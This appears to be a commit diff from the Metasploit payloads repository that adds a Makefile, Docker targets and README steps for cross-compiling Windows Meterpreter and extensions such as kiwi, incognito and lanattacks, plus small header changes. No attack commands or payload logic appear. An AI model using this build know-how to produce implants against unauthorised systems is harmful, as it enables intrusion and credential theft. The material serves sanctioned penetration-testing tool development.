mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-11-20 14:39:22 +01:00
merge 2.0.x for future iteration
This commit is contained in:
commit
decf36c9c2
383
c/meterpreter/Makefile
Normal file
383
c/meterpreter/Makefile
Normal file
@ -0,0 +1,383 @@
|
||||
ID := $(shell id -u)
|
||||
DOCKER_CONTAINER=rapid7/msf-ubuntu-x64-meterpreter:latest
|
||||
COMMON_GEN=-Wno-dev -DUSE_STATIC_MSVC_RUNTIMES=ON
|
||||
COMMON_GEN_X86=-DCMAKE_TOOLCHAIN_FILE=../toolsets/i686-w64-mingw32.cmake -DBUILD_ARCH=Win32 ${COMMON_GEN}
|
||||
COMMON_GEN_X64=-DCMAKE_TOOLCHAIN_FILE=../toolsets/x86_64-w64-mingw32.cmake -DBUILD_ARCH=x64 ${COMMON_GEN}
|
||||
COMMON_BUILD=--config Release
|
||||
|
||||
all: meterpreter
|
||||
|
||||
clean: meterpreter-x64-clean meterpreter-x86-clean
|
||||
|
||||
install:
|
||||
@cp -f output/*.dll ../../../metasploit-framework/data/meterpreter
|
||||
|
||||
##########################################################################################
|
||||
### Build all
|
||||
##########################################################################################
|
||||
|
||||
meterpreter: meterpreter-x86 meterpreter-x64
|
||||
|
||||
meterpreter-x86: meterpreter-x86-gen meterpreter-x86-build
|
||||
|
||||
meterpreter-x86-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x86 $(COMMON_GEN_X86)
|
||||
|
||||
meterpreter-x86-build:
|
||||
@cmake --build workspace/build/mingw-x86 $(COMMON_BUILD)
|
||||
|
||||
meterpreter-x86-clean:
|
||||
@rm -rf workspace/build/mingw-x86* && rm -rf output/*.x86.dll
|
||||
|
||||
meterpreter-x64: meterpreter-x64-gen meterpreter-x64-build
|
||||
|
||||
meterpreter-x64-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x64 $(COMMON_GEN_X64)
|
||||
|
||||
meterpreter-x64-build:
|
||||
@cmake --build workspace/build/mingw-x64 $(COMMON_BUILD)
|
||||
|
||||
meterpreter-x64-clean:
|
||||
@rm -rf workspace/build/mingw-x64* && rm -rf output/*.x64.dll
|
||||
|
||||
##########################################################################################
|
||||
### Component Builds
|
||||
##########################################################################################
|
||||
|
||||
### Metsrv
|
||||
|
||||
meterpreter-metsrv: meterpreter-metsrv-x86 meterpreter-metsrv-x64
|
||||
|
||||
meterpreter-metsrv-x86: meterpreter-metsrv-x86-gen meterpreter-metsrv-x86-build
|
||||
|
||||
meterpreter-metsrv-x86-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x86-metsrv -DBUILD_ALL=OFF -DBUILD_METSRV=ON $(COMMON_GEN_X86)
|
||||
|
||||
meterpreter-metsrv-x86-build:
|
||||
@cmake --build workspace/build/mingw-x86-metsrv $(COMMON_BUILD)
|
||||
|
||||
meterpreter-metsrv-x64: meterpreter-metsrv-x64-gen meterpreter-metsrv-x64-build
|
||||
|
||||
meterpreter-metsrv-x64-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x64-metsrv -DBUILD_ALL=OFF -DBUILD_METSRV=ON $(COMMON_GEN_X64)
|
||||
|
||||
meterpreter-metsrv-x64-build:
|
||||
@cmake --build workspace/build/mingw-x64-metsrv $(COMMON_BUILD)
|
||||
|
||||
### Stdapi
|
||||
|
||||
meterpreter-ext-stdapi: meterpreter-ext-stdapi-x86 meterpreter-ext-stdapi-x64
|
||||
|
||||
meterpreter-ext-stdapi-x86: meterpreter-ext-stdapi-x86-gen meterpreter-ext-stdapi-x86-build
|
||||
|
||||
meterpreter-ext-stdapi-x86-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x86-ext-stdapi -DBUILD_ALL=OFF -DBUILD_EXT_STDAPI=ON $(COMMON_GEN_X86)
|
||||
|
||||
meterpreter-ext-stdapi-x86-build:
|
||||
@cmake --build workspace/build/mingw-x86-ext-stdapi $(COMMON_BUILD)
|
||||
|
||||
meterpreter-ext-stdapi-x64: meterpreter-ext-stdapi-x64-gen meterpreter-ext-stdapi-x64-build
|
||||
|
||||
meterpreter-ext-stdapi-x64-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x64-ext-stdapi -DBUILD_ALL=OFF -DBUILD_EXT_STDAPI=ON $(COMMON_GEN_X64)
|
||||
|
||||
meterpreter-ext-stdapi-x64-build:
|
||||
@cmake --build workspace/build/mingw-x64-ext-stdapi $(COMMON_BUILD)
|
||||
|
||||
### Priv
|
||||
|
||||
meterpreter-ext-priv: meterpreter-ext-priv-x86 meterpreter-ext-priv-x64
|
||||
|
||||
meterpreter-ext-priv-x86: meterpreter-ext-priv-x86-gen meterpreter-ext-priv-x86-build
|
||||
|
||||
meterpreter-ext-priv-x86-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x86-ext-priv -DBUILD_ALL=OFF -DBUILD_EXT_PRIV=ON $(COMMON_GEN_X86)
|
||||
|
||||
meterpreter-ext-priv-x86-build:
|
||||
@cmake --build workspace/build/mingw-x86-ext-priv $(COMMON_BUILD)
|
||||
|
||||
meterpreter-ext-priv-x64: meterpreter-ext-priv-x64-gen meterpreter-ext-priv-x64-build
|
||||
|
||||
meterpreter-ext-priv-x64-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x64-ext-priv -DBUILD_ALL=OFF -DBUILD_EXT_PRIV=ON $(COMMON_GEN_X64)
|
||||
|
||||
meterpreter-ext-priv-x64-build:
|
||||
@cmake --build workspace/build/mingw-x64-ext-priv $(COMMON_BUILD)
|
||||
|
||||
### Extapi
|
||||
|
||||
meterpreter-ext-extapi: meterpreter-ext-extapi-x86 meterpreter-ext-extapi-x64
|
||||
|
||||
meterpreter-ext-extapi-x86: meterpreter-ext-extapi-x86-gen meterpreter-ext-extapi-x86-build
|
||||
|
||||
meterpreter-ext-extapi-x86-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x86-ext-extapi -DBUILD_ALL=OFF -DBUILD_EXT_EXTAPI=ON $(COMMON_GEN_X86)
|
||||
|
||||
meterpreter-ext-extapi-x86-build:
|
||||
@cmake --build workspace/build/mingw-x86-ext-extapi $(COMMON_BUILD)
|
||||
|
||||
meterpreter-ext-extapi-x64: meterpreter-ext-extapi-x64-gen meterpreter-ext-extapi-x64-build
|
||||
|
||||
meterpreter-ext-extapi-x64-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x64-ext-extapi -DBUILD_ALL=OFF -DBUILD_EXT_EXTAPI=ON $(COMMON_GEN_X64)
|
||||
|
||||
meterpreter-ext-extapi-x64-build:
|
||||
@cmake --build workspace/build/mingw-x64-ext-extapi $(COMMON_BUILD)
|
||||
|
||||
### Incognito
|
||||
|
||||
meterpreter-ext-incognito: meterpreter-ext-incognito-x86 meterpreter-ext-incognito-x64
|
||||
|
||||
meterpreter-ext-incognito-x86: meterpreter-ext-incognito-x86-gen meterpreter-ext-incognito-x86-build
|
||||
|
||||
meterpreter-ext-incognito-x86-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x86-ext-incognito -DBUILD_ALL=OFF -DBUILD_EXT_INCOGNITO=ON $(COMMON_GEN_X86)
|
||||
|
||||
meterpreter-ext-incognito-x86-build:
|
||||
@cmake --build workspace/build/mingw-x86-ext-incognito $(COMMON_BUILD)
|
||||
|
||||
meterpreter-ext-incognito-x64: meterpreter-ext-incognito-x64-gen meterpreter-ext-incognito-x64-build
|
||||
|
||||
meterpreter-ext-incognito-x64-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x64-ext-incognito -DBUILD_ALL=OFF -DBUILD_EXT_INCOGNITO=ON $(COMMON_GEN_X64)
|
||||
|
||||
meterpreter-ext-incognito-x64-build:
|
||||
@cmake --build workspace/build/mingw-x64-ext-incognito $(COMMON_BUILD)
|
||||
|
||||
### LanAttacks
|
||||
|
||||
meterpreter-ext-lanattacks: meterpreter-ext-lanattacks-x86 meterpreter-ext-lanattacks-x64
|
||||
|
||||
meterpreter-ext-lanattacks-x86: meterpreter-ext-lanattacks-x86-gen meterpreter-ext-lanattacks-x86-build
|
||||
|
||||
meterpreter-ext-lanattacks-x86-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x86-ext-lanattacks -DBUILD_ALL=OFF -DBUILD_EXT_LANATTACKS=ON $(COMMON_GEN_X86)
|
||||
|
||||
meterpreter-ext-lanattacks-x86-build:
|
||||
@cmake --build workspace/build/mingw-x86-ext-lanattacks $(COMMON_BUILD)
|
||||
|
||||
meterpreter-ext-lanattacks-x64: meterpreter-ext-lanattacks-x64-gen meterpreter-ext-lanattacks-x64-build
|
||||
|
||||
meterpreter-ext-lanattacks-x64-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x64-ext-lanattacks -DBUILD_ALL=OFF -DBUILD_EXT_LANATTACKS=ON $(COMMON_GEN_X64)
|
||||
|
||||
meterpreter-ext-lanattacks-x64-build:
|
||||
@cmake --build workspace/build/mingw-x64-ext-lanattacks $(COMMON_BUILD)
|
||||
|
||||
### WinPMem
|
||||
|
||||
meterpreter-ext-winpmem: meterpreter-ext-winpmem-x86 meterpreter-ext-winpmem-x64
|
||||
|
||||
meterpreter-ext-winpmem-x86: meterpreter-ext-winpmem-x86-gen meterpreter-ext-winpmem-x86-build
|
||||
|
||||
meterpreter-ext-winpmem-x86-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x86-ext-winpmem -DBUILD_ALL=OFF -DBUILD_EXT_WINPMEM=ON $(COMMON_GEN_X86)
|
||||
|
||||
meterpreter-ext-winpmem-x86-build:
|
||||
@cmake --build workspace/build/mingw-x86-ext-winpmem $(COMMON_BUILD)
|
||||
|
||||
meterpreter-ext-winpmem-x64: meterpreter-ext-winpmem-x64-gen meterpreter-ext-winpmem-x64-build
|
||||
|
||||
meterpreter-ext-winpmem-x64-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x64-ext-winpmem -DBUILD_ALL=OFF -DBUILD_EXT_WINPMEM=ON $(COMMON_GEN_X64)
|
||||
|
||||
meterpreter-ext-winpmem-x64-build:
|
||||
@cmake --build workspace/build/mingw-x64-ext-winpmem $(COMMON_BUILD)
|
||||
|
||||
### Espia
|
||||
|
||||
meterpreter-ext-espia: meterpreter-ext-espia-x86 meterpreter-ext-espia-x64
|
||||
|
||||
meterpreter-ext-espia-x86: meterpreter-ext-espia-x86-gen meterpreter-ext-espia-x86-build
|
||||
|
||||
meterpreter-ext-espia-x86-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x86-ext-espia -DBUILD_ALL=OFF -DBUILD_EXT_ESPIA=ON $(COMMON_GEN_X86)
|
||||
|
||||
meterpreter-ext-espia-x86-build:
|
||||
@cmake --build workspace/build/mingw-x86-ext-espia $(COMMON_BUILD)
|
||||
|
||||
meterpreter-ext-espia-x64: meterpreter-ext-espia-x64-gen meterpreter-ext-espia-x64-build
|
||||
|
||||
meterpreter-ext-espia-x64-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x64-ext-espia -DBUILD_ALL=OFF -DBUILD_EXT_ESPIA=ON $(COMMON_GEN_X64)
|
||||
|
||||
meterpreter-ext-espia-x64-build:
|
||||
@cmake --build workspace/build/mingw-x64-ext-espia $(COMMON_BUILD)
|
||||
|
||||
### Unhook
|
||||
|
||||
meterpreter-ext-unhook: meterpreter-ext-unhook-x86 meterpreter-ext-unhook-x64
|
||||
|
||||
meterpreter-ext-unhook-x86: meterpreter-ext-unhook-x86-gen meterpreter-ext-unhook-x86-build
|
||||
|
||||
meterpreter-ext-unhook-x86-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x86-ext-unhook -DBUILD_ALL=OFF -DBUILD_EXT_UNHOOK=ON $(COMMON_GEN_X86)
|
||||
|
||||
meterpreter-ext-unhook-x86-build:
|
||||
@cmake --build workspace/build/mingw-x86-ext-unhook $(COMMON_BUILD)
|
||||
|
||||
meterpreter-ext-unhook-x64: meterpreter-ext-unhook-x64-gen meterpreter-ext-unhook-x64-build
|
||||
|
||||
meterpreter-ext-unhook-x64-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x64-ext-unhook -DBUILD_ALL=OFF -DBUILD_EXT_UNHOOK=ON $(COMMON_GEN_X64)
|
||||
|
||||
meterpreter-ext-unhook-x64-build:
|
||||
@cmake --build workspace/build/mingw-x64-ext-unhook $(COMMON_BUILD)
|
||||
|
||||
### Kiwi
|
||||
|
||||
meterpreter-ext-kiwi: meterpreter-ext-kiwi-x86 meterpreter-ext-kiwi-x64
|
||||
|
||||
meterpreter-ext-kiwi-x86: meterpreter-ext-kiwi-x86-gen meterpreter-ext-kiwi-x86-build
|
||||
|
||||
meterpreter-ext-kiwi-x86-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x86-ext-kiwi -DBUILD_ALL=OFF -DBUILD_EXT_KIWI=ON $(COMMON_GEN_X86)
|
||||
|
||||
meterpreter-ext-kiwi-x86-build:
|
||||
@cmake --build workspace/build/mingw-x86-ext-kiwi $(COMMON_BUILD)
|
||||
|
||||
meterpreter-ext-kiwi-x64: meterpreter-ext-kiwi-x64-gen meterpreter-ext-kiwi-x64-build
|
||||
|
||||
meterpreter-ext-kiwi-x64-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x64-ext-kiwi -DBUILD_ALL=OFF -DBUILD_EXT_KIWI=ON $(COMMON_GEN_X64)
|
||||
|
||||
meterpreter-ext-kiwi-x64-build:
|
||||
@cmake --build workspace/build/mingw-x64-ext-kiwi $(COMMON_BUILD)
|
||||
|
||||
### PeInjector
|
||||
|
||||
meterpreter-ext-peinjector: meterpreter-ext-peinjector-x86 meterpreter-ext-peinjector-x64
|
||||
|
||||
meterpreter-ext-peinjector-x86: meterpreter-ext-peinjector-x86-gen meterpreter-ext-peinjector-x86-build
|
||||
|
||||
meterpreter-ext-peinjector-x86-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x86-ext-peinjector -DBUILD_ALL=OFF -DBUILD_EXT_PEINJECTOR=ON $(COMMON_GEN_X86)
|
||||
|
||||
meterpreter-ext-peinjector-x86-build:
|
||||
@cmake --build workspace/build/mingw-x86-ext-peinjector $(COMMON_BUILD)
|
||||
|
||||
meterpreter-ext-peinjector-x64: meterpreter-ext-peinjector-x64-gen meterpreter-ext-peinjector-x64-build
|
||||
|
||||
meterpreter-ext-peinjector-x64-gen:
|
||||
@cmake -S workspace -B workspace/build/mingw-x64-ext-peinjector -DBUILD_ALL=OFF -DBUILD_EXT_PEINJECTOR=ON $(COMMON_GEN_X64)
|
||||
|
||||
meterpreter-ext-peinjector-x64-build:
|
||||
@cmake --build workspace/build/mingw-x64-ext-peinjector $(COMMON_BUILD)
|
||||
|
||||
##########################################################################################
|
||||
### Container-based Builds
|
||||
##########################################################################################
|
||||
|
||||
docker:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make
|
||||
|
||||
docker-container:
|
||||
@docker build ../../docker -t $(DOCKER_CONTAINER)
|
||||
|
||||
docker-shell:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) bash
|
||||
|
||||
docker-x64:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-x64
|
||||
|
||||
docker-x86:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-x86
|
||||
|
||||
docker-metsrv:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-metsrv
|
||||
|
||||
docker-metsrv-x86:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-metsrv-x86
|
||||
|
||||
docker-metsrv-x64:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-metsrv-x64
|
||||
|
||||
docker-ext-stdapi:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi
|
||||
|
||||
docker-ext-stdapi-x86:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-x86
|
||||
|
||||
docker-ext-stdapi-x64:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-x64
|
||||
|
||||
docker-ext-priv:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-priv
|
||||
|
||||
docker-ext-priv-x86:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-priv-x86
|
||||
|
||||
docker-ext-priv-x64:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-priv-x64
|
||||
|
||||
docker-ext-extapi:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-extapi
|
||||
|
||||
docker-ext-extapi-x86:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-extapi-x86
|
||||
|
||||
docker-ext-extapi-x64:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-extapi-x64
|
||||
|
||||
docker-ext-incognito:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-incognito
|
||||
|
||||
docker-ext-incognito-x86:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-incognito-x86
|
||||
|
||||
docker-ext-incognito-x64:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-incognito-x64
|
||||
|
||||
docker-ext-espia:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-espia
|
||||
|
||||
docker-ext-espia-x86:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-espia-x86
|
||||
|
||||
docker-ext-espia-x64:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-espia-x64
|
||||
|
||||
docker-ext-lanattacks:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-lanattacks
|
||||
|
||||
docker-ext-lanattacks-x86:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-lanattacks-x86
|
||||
|
||||
docker-ext-lanattacks-x64:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-lanattacks-x64
|
||||
|
||||
docker-ext-unhook:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-unhook
|
||||
|
||||
docker-ext-unhook-x86:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-unhook-x86
|
||||
|
||||
docker-ext-unhook-x64:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-unhook-x64
|
||||
|
||||
docker-ext-winpmem:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-winpmem
|
||||
|
||||
docker-ext-winpmem-x86:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-winpmem-x86
|
||||
|
||||
docker-ext-winpmem-x64:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-winpmem-x64
|
||||
|
||||
docker-ext-kiwi:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-kiwi
|
||||
|
||||
docker-ext-kiwi-x86:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-kiwi-x86
|
||||
|
||||
docker-ext-kiwi-x64:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-kiwi-x64
|
||||
|
||||
docker-ext-peinjector:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-peinjector
|
||||
|
||||
docker-ext-peinjector-x86:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-peinjector-x86
|
||||
|
||||
docker-ext-peinjector-x64:
|
||||
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-peinjector-x64
|
@ -1,6 +1,26 @@
|
||||
# Native C meterpreter >
|
||||
# Windows Native C meterpreter >
|
||||
|
||||
## Building - Windows
|
||||
Before you do anything, you're going to need to make sure you have the dependencies set up. Windows Meterpreter has the following repositories set up as submodule dependencies:
|
||||
|
||||
* [Reflective DLL Injection](https://github.com/rapid7/ReflectiveDLLInjection)
|
||||
* [Dependencies](https://github.com/rapid7/meterpreter-deps)
|
||||
|
||||
For Meterpreter to build correctly, these submodules must be initialised and updated,
|
||||
like so:
|
||||
|
||||
```
|
||||
git clone https://github.com/rapid7/metasploit-payloads
|
||||
cd metasploit-payloads
|
||||
git submodule init
|
||||
git submodule update
|
||||
```
|
||||
|
||||
With the code checked out and the submodules updated, you're ready to run a build. Here you have two main options:
|
||||
|
||||
* Compile Windows Meterpreter on Windows with VS2013, VS2017 or VS2019.
|
||||
* Cross-compile Windows Meterpreter on Linux, either directly on your host or via a Docker container.
|
||||
|
||||
## Building - Windows on Windows
|
||||
Meterpreter currently supports being built with multiple versions of Visual Studio, including the free/community editions.
|
||||
|
||||
### VS 2019
|
||||
@ -91,27 +111,10 @@ choco install visualstudioexpress2013windowsdesktop -y
|
||||
|
||||
Nothing extra needs to be done.
|
||||
|
||||
## Dependencies
|
||||
|
||||
Windows Meterpreter has the following repositories set up as submodule dependencies:
|
||||
|
||||
* [Reflective DLL Injection](https://github.com/rapid7/ReflectiveDLLInjection)
|
||||
* [Dependencies](https://github.com/rapid7/meterpreter-deps)
|
||||
|
||||
For Meterpreter to build correctly, these submodules must be initialised and updated,
|
||||
like so:
|
||||
|
||||
```
|
||||
git clone https://github.com/rapid7/metasploit-payloads
|
||||
cd metasploit-payloads
|
||||
git submodule init
|
||||
git submodule update
|
||||
```
|
||||
|
||||
At this point the dependencies will be ready to use and Meterpreter should be ready to
|
||||
build.
|
||||
|
||||
## Running the Build
|
||||
### Running the Build
|
||||
|
||||
Open up a Visual Studio command prompt by selecting `Developer Command Prompt for VS201X`
|
||||
from the Start menu. Alternatively you can run `vcvars32.bat` from an existing command
|
||||
@ -143,6 +146,54 @@ From your git console, please run:
|
||||
$ git submodule init && git submodule update
|
||||
```
|
||||
|
||||
## Building - Windows on Linux
|
||||
|
||||
Configuring a build environment on Linux is a bit of a pain in the rear and is also very likely to change in the near future as we move towards building via clang and making use of llvm for things such as transformations. As a result, we would recommend that you don't try to set up a host environment just yet. The best option is to make use of the docker container that has been built and configured to do the builds for you.
|
||||
|
||||
The docker container should be published to the Internet. However, if it isn't, you can build it yourself by running:
|
||||
|
||||
```
|
||||
make docker-container
|
||||
```
|
||||
|
||||
This takes a while, so be patient.
|
||||
|
||||
If you want to use the pre-built container all you have to do is run a normal build, and the container image will be downloaded if it's not present in the current list of locally available images. To do this, run:
|
||||
```
|
||||
make docker
|
||||
```
|
||||
|
||||
### Making the components
|
||||
|
||||
As mentioned above, to build the entire supported suite of binaries, run the following:
|
||||
```
|
||||
make docker
|
||||
```
|
||||
|
||||
It's possible to build architecture-specific versions by appending the architecture in question.
|
||||
```
|
||||
# Build x64 only
|
||||
make docker-x64
|
||||
# Build x86 only
|
||||
make docker-x86
|
||||
```
|
||||
|
||||
There are a number of other options in the `Makefile`, including the ability to build individual sets. Here are some examples:
|
||||
```
|
||||
# Build metsrv for all architectures
|
||||
make docker-metsrv
|
||||
# Build stdapi for x86
|
||||
make docker-ext-stdapi-x86
|
||||
```
|
||||
|
||||
All binaries are copied to the local `output` folder. All activites are done under the context of the current user even inside the container, so generated binaries should have the correct ownership.
|
||||
|
||||
### Notes
|
||||
|
||||
* The builds on Linux aren't not 100% clean yet, this is something we are working on. Expect to see a few warnings pop up.
|
||||
* We aren't yet able to build the `python` and `powershell` extensions thanks to some assembly magic and COM nonsense. This is something we hope to resolve in the near future.
|
||||
* These binaries _might_ not be ABI compatible with binaries created with Visual Studio. There may be edge cases where memory is allocated in one location and freed in another, and hence if the allocators don't match you end up with pain and suffering. We'll be working on something to resolve this as well so that these binaries can be mixed and matched.
|
||||
|
||||
# Testing
|
||||
|
||||
There is currently no automated testing for meterpreter, but we're working on it.
|
||||
|
@ -110,6 +110,7 @@ GOTO END
|
||||
:CLEAN
|
||||
IF EXIST "output\" (
|
||||
del output\ /S /Q
|
||||
del workspace\build\ /S /Q
|
||||
)
|
||||
GOTO END
|
||||
|
||||
|
@ -1 +1 @@
|
||||
Subproject commit d27340fc3c286ac9e4520cf1e2797e5507e9a9c1
|
||||
Subproject commit 6bad4c49327ad3b7d9cce6e280d034b76dbec928
|
@ -1,24 +0,0 @@
|
||||
.model flat, C
|
||||
|
||||
.data
|
||||
__imp__EncodePointer@4 dd dummy
|
||||
__imp__DecodePointer@4 dd dummy
|
||||
__imp__HeapSetInformation@16 dd dummy2
|
||||
|
||||
EXTERNDEF __imp__EncodePointer@4 : DWORD
|
||||
EXTERNDEF __imp__DecodePointer@4 : DWORD
|
||||
EXTERNDEF __imp__HeapSetInformation@16 : DWORD
|
||||
|
||||
.code
|
||||
|
||||
dummy proc
|
||||
mov eax, [esp+4]
|
||||
ret 4
|
||||
dummy endp
|
||||
|
||||
dummy2 proc
|
||||
mov eax, 1
|
||||
ret 10h
|
||||
dummy2 endp
|
||||
|
||||
end
|
@ -29,6 +29,22 @@
|
||||
#define dwMeterpreterArch PROCESS_ARCH_X86
|
||||
#endif
|
||||
|
||||
#ifdef __MINGW32__
|
||||
#define ERROR_DBG_TERMINATE_THREAD 691L
|
||||
#define ERROR_UNHANDLED_EXCEPTION 574L
|
||||
#define ERROR_UNSUPPORTED_COMPRESSION 618L
|
||||
#define ERROR_NOT_CAPABLE 775L
|
||||
#define ERROR_NOTHING_TO_TERMINATE 778L
|
||||
#define __try
|
||||
#define __except(x) if(0)
|
||||
|
||||
#undef GetExceptionCode
|
||||
#define GetExceptionCode() 0
|
||||
|
||||
#undef GetExceptionInformation
|
||||
#define GetExceptionInformation() NULL
|
||||
#endif
|
||||
|
||||
typedef struct __UNICODE_STRING
|
||||
{
|
||||
USHORT Length;
|
||||
@ -107,5 +123,6 @@ static _inline void real_dprintf(char *format, ...)
|
||||
#include "common_pivot_tree.h"
|
||||
#include "common_thread.h"
|
||||
#include "common_scheduler.h"
|
||||
#include "common_command_ids.h"
|
||||
|
||||
#endif
|
||||
|
@ -26,33 +26,33 @@ typedef BOOL(*INLINE_DISPATCH_ROUTINE)(Remote *remote, Packet *packet, DWORD* re
|
||||
/*! @brief Helper macro which defines an empty dispatch handler. */
|
||||
#define EMPTY_DISPATCH_HANDLER NULL, NULL, EMPTY_TLV
|
||||
/*! @brief Helper macro that defines terminator for command lists. */
|
||||
#define COMMAND_TERMINATOR { NULL, { EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER } }
|
||||
#define COMMAND_TERMINATOR { 0, { EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER } }
|
||||
|
||||
/*!
|
||||
* @brief Helper macro that defines a command instance with a request handler only.
|
||||
* @remarks The request handler will be executed on a separate thread.
|
||||
*/
|
||||
#define COMMAND_REQ(name, reqHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
|
||||
#define COMMAND_REQ(command_id, reqHandler) { command_id, { reqHandler, NULL, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
|
||||
/*!
|
||||
* @brief Helper macro that defines a command instance with a response handler only.
|
||||
* @remarks The request handler will be executed on a separate thread.
|
||||
*/
|
